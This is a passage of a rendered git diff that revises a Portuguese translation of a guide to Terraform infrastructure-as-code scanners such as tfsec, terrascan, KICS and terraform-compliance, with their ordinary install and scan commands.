- **fácil de integrar:** pode ser executado em seu pipeline (ou em ganchos git) para garantir que todas as implantações sejam validadas.
|
||||
- **segregação de deveres:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
|
||||
- **compliance:** Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados
|
||||
- **behaviour driven development:** Temos BDD para quase tudo, por que não para IaC?
|
||||
- **portable:** basta instalar via `pip` ou executá-lo via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** valida seu código antes de ser deployado
|
||||
- **easy to integrate:** pode rodar no seu pipeline (ou em git hooks) para garantir que todas as implantações sejam validadas.
|
||||
- **segregation of duty:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
|
||||
|
||||
> [!NOTE]
|
||||
> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e rodar esta ferramenta.
|
||||
> Infelizmente, se o código estiver usando alguns providers aos quais você não tem acesso, você não conseguirá executar o `terraform plan` e rodar esta ferramenta.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -321,40 +349,53 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
Do [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análise estática do seu código terraform para identificar possíveis configurações incorretas.
|
||||
Segundo os [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análise estática do seu código Terraform para identificar possíveis misconfigurações.
|
||||
|
||||
- ☁️ Verifica configurações incorretas em todos os principais (e alguns menores) provedores de nuvem
|
||||
- ☁️ Verifica misconfigurações em todos os principais (e alguns secundários) provedores de nuvem
|
||||
- ⛔ Centenas de regras integradas
|
||||
- 🪆 Escaneia módulos (locais e remotos)
|
||||
- ➕ Avalia expressões HCL, bem como valores literais
|
||||
- ↪️ Avalia funções Terraform, por exemplo, `concat()`
|
||||
- 🔗 Avalia relacionamentos entre recursos Terraform
|
||||
- ➕ Avalia expressões HCL assim como valores literais
|
||||
- ↪️ Avalia funções do Terraform e.g. `concat()`
|
||||
- 🔗 Avalia relações entre recursos do Terraform
|
||||
- 🧰 Compatível com o Terraform CDK
|
||||
- 🙅 Aplica (e embeleza) políticas Rego definidas pelo usuário
|
||||
- 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif.
|
||||
- 🙅 Aplica (e enriquece) políticas Rego definidas pelo usuário
|
||||
- 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurável (via flags de CLI e/ou arquivo de configuração)
|
||||
- ⚡ Muito rápido, capaz de escanear rapidamente grandes repositórios
|
||||
- ⚡ Muito rápido, capaz de escanear rapidamente repositórios enormes
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan é um analisador estático de código para Infrastructure as Code. Terrascan permite que você:
|
||||
|
||||
- Escanear infrastructure as code para detectar misconfigurações de forma transparente.
|
||||
- Monitorar a infraestrutura provisionada em cloud para alterações de configuração que introduzam posture drift, e possibilitar reverter para uma postura segura.
|
||||
- Detectar vulnerabilidades de segurança e violações de conformidade.
|
||||
- Mitigar riscos antes de provisionar infraestrutura cloud native.
|
||||
- Oferece flexibilidade para executar localmente ou integrar com seu CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Encontre vulnerabilidades de segurança, problemas de conformidade e configurações incorretas de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com **KICS** da Checkmarx.
|
||||
Encontre vulnerabilidades de segurança, problemas de conformidade e misconfigurações de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com **KICS** da Checkmarx.
|
||||
|
||||
**KICS** significa **K**eeping **I**nfrastructure as **C**ode **S**ecure, é de código aberto e é indispensável para qualquer projeto nativo da nuvem.
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, é open source e é indispensável para qualquer projeto cloud native.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Do [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você:
|
||||
De acordo com os [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador estático de código para infraestrutura como código. Terrascan permite que você:
|
||||
|
||||
- Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas.
|
||||
- Monitore a infraestrutura em nuvem provisionada para mudanças de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
|
||||
- Detecte vulnerabilidades de segurança e violações de conformidade.
|
||||
- Mitigue riscos antes de provisionar infraestrutura nativa em nuvem.
|
||||
- Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD.
|
||||
- Escanear infraestrutura como código de forma transparente em busca de misconfigurações.
|
||||
- Monitorar a infraestrutura em nuvem provisionada por alterações de configuração que introduzam desvio de postura, e possibilitar reverter para uma postura segura.
|
||||
- Detectar vulnerabilidades de segurança e violações de conformidade.
|
||||
- Mitigar riscos antes do provisionamento de infraestrutura nativa na nuvem.
|
||||
- Oferecer flexibilidade para rodar localmente ou integrar com seu CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user